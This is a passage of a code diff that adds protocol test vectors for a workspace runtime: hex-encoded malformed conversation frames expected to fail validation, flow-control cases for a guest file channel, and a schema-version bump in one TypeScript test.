223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22666f726b222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-continuation-missing", + "direction": "down", + "hex": "574d583101010000040000005f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-fresh-with-ended-boots", + "direction": "down", + "hex": "574d583101010000040000009c0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-include-the-live-boot", + "direction": "down", + "hex": "574d583101010000040000009d0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2236363636363636362d363636362d343636362d383636362d363636363636363636363636225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-repeated", + "direction": "down", + "hex": "574d58310101000004000000c40600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2231313131313131312d313131312d343131312d383131312d313131313131313131313131225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-five", + "direction": "down", + "hex": "574d58310101000004000000390700007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232222c2233333333333333332d333333332d343333332d383333332d333333333333333333333333222c2234343434343434342d343434342d343434342d383434342d343434343434343434343434222c2235353535353535352d353535352d343535352d383535352d353535353535353535353535225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boot-uppercase", + "direction": "down", + "hex": "574d583101010000040000009d0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2241414141414141412d414141412d344141412d384141412d414141414141414141414141225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuations-longer-than-the-set", + "direction": "up", + "hex": "574d58310101000006000000bb0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22726573756d65222c226672657368225d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuation-either", + "direction": "up", + "hex": "574d58310101000006000000b30000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22656974686572225d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuations-missing", + "direction": "up", + "hex": "574d58310101000006000000980000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "error": "bad_field" } ] } diff --git a/packages/core/test/cowork/native/vectors/runtime-flow.json b/packages/core/test/cowork/native/vectors/runtime-flow.json index 6caf226f4..f45cd4753 100644 --- a/packages/core/test/cowork/native/vectors/runtime-flow.json +++ b/packages/core/test/cowork/native/vectors/runtime-flow.json @@ -252,5 +252,317 @@ ], "refusedAt": 1 } + ], + "fileRequestBytes": 16384, + "fileResponseBytes": 393216, + "fileInFlightRequests": 4, + "fileNote": "Contract revision 3, the guest file channel on conversation 0. A step is `bytes` payload bytes of which the last `newlines` are line ends. FILE_IN request lines count against their own bound (fileInFlightRequests outstanding, fileRequestBytes per line, newline included); a request is answered when a FILE_OUT response line ends; FILE_OUT bytes never clear the runtime IN count and FILE_IN bytes never add to it. `refusedAt` is the index of the first refused step and `error` its code, or null when every step is accepted.", + "fileCases": [ + { + "name": "four-outstanding-requests-are-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-fifth-outstanding-request-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 4, + "error": "oversize" + }, + { + "name": "a-response-frees-one-slot", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "four-requests-in-one-frame", + "steps": [ + { + "stream": "file_in", + "bytes": 400, + "newlines": 4 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "five-requests-in-one-frame-are-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 500, + "newlines": 5 + } + ], + "refusedAt": 0, + "error": "oversize" + }, + { + "name": "a-request-line-of-exactly-16-kib-is-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-request-line-over-16-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 16385, + "newlines": 0 + } + ], + "refusedAt": 0, + "error": "oversize" + }, + { + "name": "a-request-line-split-across-frames-counts-once", + "steps": [ + { + "stream": "file_in", + "bytes": 10000, + "newlines": 0 + }, + { + "stream": "file_in", + "bytes": 6384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-split-request-line-over-16-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 10000, + "newlines": 0 + }, + { + "stream": "file_in", + "bytes": 6385, + "newlines": 1 + } + ], + "refusedAt": 1, + "error": "oversize" + }, + { + "name": "a-response-with-nothing-outstanding-is-refused", + "steps": [ + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 0, + "error": "bad_field" + }, + { + "name": "a-response-line-of-exactly-384-kib-is-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 393216, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-response-line-over-384-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 393217, + "newlines": 0 + } + ], + "refusedAt": 1, + "error": "oversize" + }, + { + "name": "file-out-bytes-never-clear-the-runtime-in-count", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "in", + "bytes": 1 + } + ], + "refusedAt": 3, + "error": "oversize" + }, + { + "name": "file-in-bytes-never-add-to-the-runtime-in-count", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "runtime-out-bytes-never-answer-a-file-request", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "out", + "bytes": 10 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 5, + "error": "oversize" + } ] } diff --git a/packages/core/test/cowork/outputs.test.ts b/packages/core/test/cowork/outputs.test.ts index b3297102a..8d53e2b02 100644 --- a/packages/core/test/cowork/outputs.test.ts +++ b/packages/core/test/cowork/outputs.test.ts @@ -24,7 +24,7 @@ const CHAIN = 6, RECORDED = CHAIN + 1; // cowork, workspaces, , shared, outp function intend(f: ReturnType, relative: string) { f.db.db.run("INSERT INTO cowork_output_directory_intents VALUES(?,?,?)", [relative, f.records.recordedHomeIdentity(), new Date().toISOString()]); } function request(f: ReturnType, locationId: string, relativePath = "file.bin") { return { workspaceId: f.workspaceId, locationId, expectedLocationRevision: 1, relativePath }; } test("schema15 is additive, empty output authority cannot be inferred from ordinary OUTDIR", () => { - const f = fixture(); expect(f.db.schemaVersion()).toBe(RUNTIME_STATE_SCHEMA_VERSION); expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(19); expect(f.db.integrity().ok).toBe(true); + const f = fixture(); expect(f.db.schemaVersion()).toBe(RUNTIME_STATE_SCHEMA_VERSION); expect(RUNTIME_STATE_SCHEMA_VERSION).toBe(21); expect(f.db.integrity().ok).toBe(true); const path = join(ensureOutdir(f.home, f.sessionId), "ordinary.bin"); writeFileSync(path, "ordinary"); expect(outdirPath(f.home, f.sessionId)).not.toBe(f.root); expect(f.outputs.list(outputUser, { workspaceId: f.workspaceId })).toEqual({ locations: [], nextCursor: null }); refusal(() => f.outputs.stat(outputUser, request(f, "unknown")), "authority_denied"); expect(existsSync(f.root)).toBe(false); expect(readFileSync(path, "utf8")).toBe("ordinary"); @@ -238,7 +238,7 @@ 